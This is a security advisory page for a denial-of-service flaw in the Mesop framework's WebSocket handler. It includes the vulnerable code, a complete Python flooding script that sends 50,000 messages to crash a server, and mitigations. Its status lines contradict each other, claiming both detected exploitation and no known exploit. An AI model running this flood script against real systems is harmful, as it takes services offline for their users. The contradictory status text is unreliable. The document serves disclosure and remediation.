Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-3jr7-6hqp-x679
No affected components available
Summary
An uncontrolled resource consumption vulnerability exists in the WebSocket implementation of the Mesop framework. An unauthenticated attacker can send a rapid succession of WebSocket messages, forcing the server to spawn an unbounded number of operating system threads. This leads to thread exhaustion and Out of Memory (OOM) errors, causing a complete Denial of Service (DoS) for any application built on the framework.
Details
The vulnerability stems from an architectural flaw in how incoming WebSocket messages are processed. In the mesop/server/server.py file, the handle_websocket function listens for incoming messages and immediately spawns a new threading.Thread for every successfully parsed ui_request.
There is no thread pool, message queue, or rate-limiting mechanism implemented to restrict the number of concurrent threads spawned per connection.
Vulnerable code snippet in mesop/server/server.py:
while True:
message = ws.receive()
if not message:
continue
# ... message parsing logic ...
# VULNERABILITY: Spawning a new thread for every single message without limits
thread = threading.Thread(
target=copy_current_request_context(ws_generate_data),
args=(ws, ui_request),
daemon=True,
)
thread.start()
PoC
To reproduce this vulnerability, you only need a running instance of a Mesop application and a basic Python script to flood the WebSocket endpoint.
Prerequisites:
Python environment with the websocket-client library installed (pip install websocket-client).
A target Mesop application running locally (e.g., http://localhost:8080).
Steps to reproduce:
Start the target Mesop application.
Save the following script as exploit_dos.py.
Run the script: python exploit_dos.py. Watch the server's resource monitor; memory and thread counts will spike rapidly until the process crashes.
import websocket
import base64
# Replace with the target Mesop application's WebSocket URL
TARGET_WS_URL = "ws://localhost:8080/__ui__"
# A minimal valid base64 payload to bypass `base64.urlsafe_b64decode`
# and Protobuf `ParseFromString` without throwing a parsing exception.
EMPTY_UI_REQUEST_B64 = base64.urlsafe_b64encode(b'').decode('utf-8')
def flood_server():
ws = websocket.WebSocket()
try:
ws.connect(TARGET_WS_URL)
print("[+] Connection established. Initiating thread exhaustion attack...")
# Rapidly send 50,000 messages to force the server to spawn 50,000 threads
for i in range(50000):
ws.send(EMPTY_UI_REQUEST_B64)
print("[+] Payloads sent. The server should be unresponsive or crashed by now.")
ws.close()
except Exception as e:
print(f"[-] Connection closed or server crashed: {e}")
if __name__ == "__main__":
flood_server()
Impact
Vulnerability Type: Denial of Service (DoS) / CWE-400: Uncontrolled Resource Consumption.
Impacted Parties: Any developer or organization deploying a Mesop-based application to a publicly accessible network.
Severity: High. An unauthenticated external attacker can completely crash the application within seconds using minimal bandwidth from a single machine, rendering the service unavailable to all legitimate users.
Mitigation (Recommended Fixes):
Use a bounded thread pool (e.g., ThreadPoolExecutor with max_workers) Introduce per-connection rate limiting Implement a message queue with backpressure Consider migrating to an async event loop model instead of spawning OS threads
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard